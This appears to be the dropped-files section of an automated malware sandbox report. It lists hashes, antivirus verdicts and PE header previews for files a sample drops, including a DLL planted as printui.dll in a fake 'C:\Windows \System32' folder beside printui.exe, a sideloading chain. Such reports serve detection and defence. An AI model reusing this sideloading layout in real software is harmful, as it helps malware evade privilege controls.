C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e5qorz1m.rxh.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e5svduum.ynw.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_emyqpfoh.jzy.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ep2klb2q.3dv.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_farnign1.r3n.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hqmqqnfq.t1l.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_io110hvn.scg.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_js1oyx3w.vdp.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kkjl5fh4.eqi.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lfftcaxs.usa.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o3m2qyrt.cpz.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q0yjs0vp.esc.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qbec22xf.lnt.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qpmtcqpu.qex.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rcitnucg.lrb.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rs25q2yh.t14.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_st3ia1nn.ddi.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tp2iqa1b.by1.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vjb2zd3d.xdk.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wy0n235f.hcu.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xeqkvpf4.oia.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ytwezqvr.3nh.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\Desktop\curlapp64.exe

Process:	C:\Users\user\Desktop\dYUteuvmHn.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	614912
Entropy (8bit):	6.604540142668264
Encrypted:	false
SSDEEP:	12288:X4Jol6Uw0xtsF10nnWHO8VVph0lhSMXliatZ/p1Yyt:ouVzE1wnWHDnh0lhSMXlJZ/v
MD5:	990DCC08D59B375A75DD575701DD2AA4
SHA1:	637AF1AF09157095D5C0005FE272E46857F861E6
SHA-256:	13A8862BE683AD1298C8E60692C274B9F62C454A26A11841031D53F2B90BEDCC
SHA-512:	C4F1DB31DBAD83E470F8D44F8F376AFF4E67B0D0FBF89F448C8406E4AACDF69826391D046889E8FD7D36E8B5DF986B3002CF18469629D5F3C980FBCD822BCF8E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........0...^..^..^..H[...^..HZ..^..H]..^.M]..^.MZ..^.M[...^..L_..^..H_..^.._.(.^..LW..^..L...^..L\..^.Rich..^.........................PE..d....-*g.........."....).z...........>.........@..........................................`.....................................................P............P...B...................l..8............................j..@...............X............................text....x.......z.................. ..`.rdata...u.......v...~..............@..@.data....1..........................@....pdata...B...P...D..................@..@.fptable.............R..............@....rsrc................T..............@..@.reloc...............V..............@..B........................................................................................................................................................................................

C:\Users\user\Desktop\libcurl.dll

Process:	C:\Users\user\Desktop\dYUteuvmHn.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	588800
Entropy (8bit):	6.3852695857936554
Encrypted:	false
SSDEEP:	12288:1dkYvMQmNkYBasGpIFetxo8u3zTkIXmaKSTQP76NuudqbaRArq:1zvMQmmYB4KQ7nu3zuSTQP76NuudqbaF
MD5:	18CE47F58B4C1A9CFC1EDF7C8BF49B7C
SHA1:	E74D08AB06ED8200D7E674D8031D6DF8250DE8CB
SHA-256:	36D97F1C254832CEE9698CEA2F1A63EA98D231641FD29715EF581BE103ACE602
SHA-512:	19B2D6968095C4E8F08C66AB73E7EC5E0439712BCB2777266602EF2AD123A779395A3D44BC0C7C9945376998FB2165BC60E6BF682863A55A0CFF40C720594BDD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: SecuriteInfo.com.Trojan.Siggen29.64132.8972.20040.exe, Detection: malicious, Browse Filename: app64.exe, Detection: malicious, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$............\|.X.\|.X.\|.X...X.\|.X...Y.\|.X..`X.\|.X...Y.\|.X...Y.\|.X...Y.\|.X...Y.\|.X.\|.Xh\|.X...Y.\|.X...Y.\|.X...Y.\|.X..bX.\|.X.\|.X.\|.X...Y.\|.XRich.\|.X........................PE..d...o..f.........." ...).....`......@........................................0............`..........................................Q..$...4[..T................Z........... ..0... ...T...............................@...............`............................text.............................. ..`.rdata..D...........................@..@.data....1...p...*...d..............@....pdata...Z.......\..................@..@.rsrc...............................@..@.reloc..0.... ......................@..B................................................................................................................................................................................................................

C:\Users\user\Desktop\prnttemp.dll

Process:	C:\Users\user\Desktop\curlapp64.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	17375232
Entropy (8bit):	7.999975126323966
Encrypted:	true
SSDEEP:	393216:sVzO4uGT4pZjC0MMi9t/I85d4rN9+EC+NhbuJHCa:slLum4/jMvJbd47DC+vbuga
MD5:	A2D2E1A778727BB4D04F1186B3E35BFD
SHA1:	F8C91FDC30DAB61111AA5655E97B3E0E8AE3E372
SHA-256:	5B9E8C091D03A9E0F078C9B949EB6650315ACA2AE6912A8885F1F4FA656700FE
SHA-512:	AD69762097EB5A7AFE877AEB020039947964483774A8DEBFC4F987A389D3AECFA50311F05AE97B5C2ECF2C782F58A82B2B4BBCB0A69EA9ACE682D896A3964E3C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 27%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......?...{...{...{.......~...{...j.......z.......z.......z.......z...Rich{...........PE..d....pUg.........." .............. $.......................................P............`.........................................PH..L....H..<............@..P...................xD..8............................................@...............................text....(.......*.................. ..`.rdata.......@......................@..@.data...I....P.......:..............@....pdata..P....@......................@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\zlib1.dll

Process:	C:\Users\user\Desktop\dYUteuvmHn.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	90624
Entropy (8bit):	6.509332615593886
Encrypted:	false
SSDEEP:	1536:Wc9wKxbEwda1CzUbFfbpVxyRyxpGTlKAbe6IOcIOZyyFz5o9X2153:7uKxbEwUEAhbprCOGTKISZyuVo9GT
MD5:	F53D1EFEA4855DA42DA07DE49D80BA68
SHA1:	920349F4BD5A5B8E77195C81E261DFA2177EB1EE
SHA-256:	7E9F43688189578042D791E3E5301165316EDC7C1ED739E0669C033A3CA08037
SHA-512:	5D72F64B8E5C42A3C9A7BCBBE8A1598A85402ADE4F312AB9E26869F8B39952A3AA037F2CF7DA89E686C5BC3FCB221FEEAE077B9FFD2EEF98DAC0E307637FE7BD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: SecuriteInfo.com.Trojan.Siggen29.64132.8972.20040.exe, Detection: malicious, Browse Filename: app64.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b...&.i.&.i.&.i./.....i.6qh.%.i.6q..".i.6qj.%.i.6qm...i.6ql.*.i.Vth.$.i.&.h...i.npm.).i.npi.'.i.np..'.i.&...'.i.npk.'.i.Rich&.i.........PE..d...a..f.........." ...)..................................................................`..........................................O......@W..........P....p..@...............l....>..T...........................`=..@...............x............................text............................... ..`.rdata...l.......n..................@..@.data........`.......L..............@....pdata..@....p.......N..............@..@.rsrc...P............Z..............@..@.reloc..l............`..............@..B........................................................................................................................................................................................................................................

C:\Windows \System32\printui.dll (copy)

Process:	C:\Users\user\Desktop\curlapp64.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	17375232
Entropy (8bit):	7.999975126323966
Encrypted:	true
SSDEEP:	393216:sVzO4uGT4pZjC0MMi9t/I85d4rN9+EC+NhbuJHCa:slLum4/jMvJbd47DC+vbuga
MD5:	A2D2E1A778727BB4D04F1186B3E35BFD
SHA1:	F8C91FDC30DAB61111AA5655E97B3E0E8AE3E372
SHA-256:	5B9E8C091D03A9E0F078C9B949EB6650315ACA2AE6912A8885F1F4FA656700FE
SHA-512:	AD69762097EB5A7AFE877AEB020039947964483774A8DEBFC4F987A389D3AECFA50311F05AE97B5C2ECF2C782F58A82B2B4BBCB0A69EA9ACE682D896A3964E3C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 27%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......?...{...{...{.......~...{...j.......z.......z.......z.......z...Rich{...........PE..d....pUg.........." .............. $.......................................P............`.........................................PH..L....H..<............@..P...................xD..8............................................@...............................text....(.......*.................. ..`.rdata.......@......................@..@.data...I....P.......:..............@....pdata..P....@......................@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows \System32\printui.exe

Process:	C:\Users\user\Desktop\curlapp64.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	64000
Entropy (8bit):	6.336447440888565
Encrypted:	false
SSDEEP:	768:a4uHmXrH60qKdC5vI1iQfCIWVM9G4qW4ne+S/ly+PKAoXRZX6fbX57UWkCRPPA7f:Uca1KAVIPd4n+lbeRZIbSQPPA7f
MD5:	2FC3530F3E05667F8240FC77F7486E7E
SHA1:	C52CC219886F29E5076CED98D6483E28FC5CC3E0
SHA-256:	AC75AF591C08442EA453EB92F6344E930585D912894E9323DB922BCD9EDF4CD1
SHA-512:	EF78DE6A114885B55806323F09D8BC24609966D29A31C2A5AE6AD93D1F0D584D29418BA76CA2F235ED30AD8AE2C91F552C15487C559E0411E978D397C82F7046
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........y..........................................................................Rich....................PE..d...0.sA.........."............................@.............................@.......E....`.......... .......................................'.......P.......@...............0..$...P$..T............................ ..............(!...............................text............................... ..`.rdata....... ......................@..@.data...x....0....... ..............@....pdata.......@......."..............@..@.rsrc........P.......$..............@..@.reloc..$....0......................@..B........................................................................................................................................................................................................................................................................

C:\Windows\System32\bav64.exe

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3193856
Entropy (8bit):	5.349410511166106
Encrypted:	false
SSDEEP:	49152:gPhW/klN1ABckHPh7qnMzKfIkl48gA2gpH5WPpF7L96bqhL:yIkR/qh
MD5:	DBE920F6626DB0DDCC757F787C855DF4
SHA1:	07A1CFD078DC338B683FEF52EEC49949287F00E7
SHA-256:	00B3ECBFEED2995F4F6CBFA2B27A8B1AB7886FCFBC9AA53DE9C6E936258753AC
SHA-512:	08C96CFB441EBA851D6C90F6710E05AE0541FBBFA257DAFDCF0B2DA2257EDF90258DD2011746A22A9080D512849D93B72A2B6D33F07A1301BF7DF9C788BF9941
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......)...m...m...m....O.......O.......O..e...}J..g...}J..\|...}J.......O..f...m........O..l...&K..l...&K..l...&K..l...Richm...................PE..d... .*g.........."....).~$..f......R..........@..............................B...........`................................................. .A.x.... B.F.....@.(............0B..... .<.8.............................<.@.............A. ............................textbss.=...............................text....}$..P...~$................. ..`.rdata........5.......$.............@..@.data....[....?..0...H..............@....pdata........@......x..............@..@.idata........A.. ...D0.............@..@.msvcjmcd.....A......d0.............@....00cfg..u.....B......h0.............@..@.fptable3.....B......j0.............@....rsrc...F.... B......n0.............@..@.reloc..sG...0B..H...t0.............@..B................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
